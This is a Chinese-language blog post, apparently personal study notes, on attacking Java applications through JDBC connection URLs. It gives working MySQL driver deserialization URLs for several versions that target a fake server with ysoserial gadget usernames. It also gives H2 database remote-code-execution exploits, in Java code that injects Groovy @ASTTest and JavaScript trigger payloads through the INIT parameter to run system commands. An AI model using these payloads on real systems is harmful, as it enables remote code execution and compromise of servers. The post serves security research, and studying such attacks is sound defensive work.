Skip to content

JDBC学习

外部库添加技巧

如果是spring的jar包,要将BOOT-INF/classes添加到库里边,这样才能成功导入classes的类

对jar包进行调试的时候不能把断点打到注解上,不然打了跟没打效果是一样的

破案了,以后将文件夹添加为外部库时记得不要直接用jar包中的文件夹,要先将jar包解压,再用解压后的文件夹

java2

Mysql

https://www.anquanke.com/post/id/203086

1
2
3
4
5
6
7
8
9
public class test1 {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc";//8.x使用
//String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc";//5.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}

这是java连接mysql数据库的语句。可以看到DB_URL中有三个拓展参数autoDeserialize,queryInterceptors,user

queryInterceptors参数需要的是实现了com.mysql.cj.interceptors.QueryInterceptor接口的类,

ServerStatusDiffInceptor(5.11以下无法通过连接触发,5.x、6.x要注意Inceptors的接收参数为statmentInterceptors)

Connector包从6.0开始从com.mysql变成了com.mysql.cj,所以ServerStatusDiffInterceptor类的位置也有所变化

我们这里设置的是ServerStatusDiffInterceptor,服务器接受的查询语句先交由这个类处理。当服务器接收到SQL Query时就会调用这个interceptors的preProcess方法,此方法调用了populateMapWithSessionStatusValues()

img

执行了SHOW SESSION STATUS语句并获取了结果集rs

跟进resultSetToMap()

img

ResultSetImpl::getObject(),当Mysql字段类型为blob时反序列化数据,所以只要保证rs这个结果集中1,2栏保存了反序列化的数据即可

img

注意此时我们在DB_URL中设置的拓展参数autoDeserialize=ture在此时派上了用场,必须为ture才能执行反序列化。

为什么第一张图在对数据库进行连接的时候明明没有发送SQL Query语句却触发了interceptor呢?

因为在getConnection过程中,会触发SET NAMES utfset autocommit=1一类的请求,这一类的请求其实也会被处理为SQL Query,所以会触发我们所配置的queryInterceptors。

ServerStatusDiffInterceptor触发:用户名是基于MySQL Fake Server工具的,具体使用中请自行修改。

8.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

6.x(属性名不同):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

5.1.11及以上的5.x版本(包名没有了cj):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

**5.1.10及以下的5.1.X版本:**同上,但是需要连接后执行查询。

**5.0.x:**还没有ServerStatusDiffInterceptor这个东西┓( ´∀` )┏

detectCustomCollations(只能在5.1.19-5.1.41版本触发)

触发点在com.mysql.jdbc.ConnectionImplbuildCollationMapping方法中:

img

img

此处只需要字段2或3为BLOB装载我们的序列化数据即可。

detectCustomCollations触发:

**5.1.41及以上:**不可用

5.1.29-5.1.40:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc

5.1.28-5.1.19:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc

**5.1.18以下的5.1.x版本:**不可用

5.0.x版本不可用

H2 DataBase

https://paper.seebug.org/1832/#h2-rce

https://exp10it.io/2024/03/solarwinds-security-event-manager-amf-deserialization-rce-cve-2024-0692/#%E5%8F%97%E9%99%90%E5%88%B6%E7%9A%84-jdbc-h2-rce

h2引擎会在参数中拆分”INIT”参数,并使用CommandInterface的实现类来根据配置实现初始化数据库

Sink 点在 org.h2.engine.Engine#openSession

出网利用

在本案例下,具体的处理类是 org.h2.command.CommandContainer

img

img

因为session.prepareCommand只能处理一条语句,而我们的payload需要两条语句,第一条定义一个函数利用CREAETE ALIAS,第二条执行这个函数,所以我们要用RUNSCRIPT加载远程sql文件,这就需要出网了。

不出网利用

我们要想办法让payload只需要一条语句

源代码编译器的作用

作用是将sql中用户自定义的java方法(或其他脚本语言Groovy,javascript)动态编译成可执行的字节码或脚本逻辑。

例如CREATE ALIAS exec AS $$ String chonger(String cmd){Rutime.getRuntime().exec(cmd);return “chonger”;}$$,识别出这是java语言后使用jdk内置的javax.tool.ToolProvider.getSystemJavaCompiler()编译成.class,这一过程类似于在java中使用javac命令。接着将编译后的字节码通过自定义的类加载器加载到jvm中,生成可调用的java类和方法。

不同编译器的差异

H2 支持三种编译器,其处理方式有所不同:

语言 处理方式 使用场景
java 通过 JDK 编译器生成字节码 高性能、需直接调用 Java 库的场景
javascript 使用 Rhino/Nashorn 引擎解释执行 快速原型开发、轻量级脚本逻辑
Groovy 通过 Groovy 解析器动态编译 需要 Groovy 语法糖或 DSL 的场景

Groovy+create alias

在create alias的源代码中,发现sql中对于java方法的定义是交给源代码编译器处理的,有三种支持的编译器,Groovy,java,javascript.

在org.h2.util.SourceCompiler#getClass方法中

img

img

根据isGroovySource来判断是否为Groovy语句,如果为true,调用GroovyCompiler.parseClass

具体利用

使用 @groovy.transform.ASTTEST 在 AST 中使用 assert 执行命令

groovy的assert右侧的表达式可以包含任意可执行代码(包括方法调用),通过将命令嵌入@ASTTEST,可以在编译时触发恶意操作,例如

1
2
3
4
@ASTTest(value={
assert "touch /tmp/exploit".execute() // 执行系统命令
})
void dummyMethod() {}

执行路径

  1. 编译器解析 @ASTTest 注解;
  2. 执行 value 闭包内的 assert 表达式;
  3. "touch ...".execute() 调用系统 Shell 执行命令

下方代码块是具体的jdbc exp

1
2
3
4
5
public static void main (String[] args) throws ClassNotFoundException, SQLException {
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")" + "})" + "def x";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";
Connection conn = DriverManager.getConnection(url);
conn.close();}

但是groovy依赖不常见

javascript+CREATE TRIGGER(java自带的Nashorn JavaScript 引擎已经在java 15往后删除)

这条链子不仅编译了源代码,还调用了eval

img

exp如下

1
2
3
4
5
public static void main (String[] args) throws ClassNotFoundException, SQLException {
String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
Connection conn = DriverManager.getConnection(url);
conn.close();}

About this Post

This post is written by DashingBug, licensed under CC BY-NC 4.0.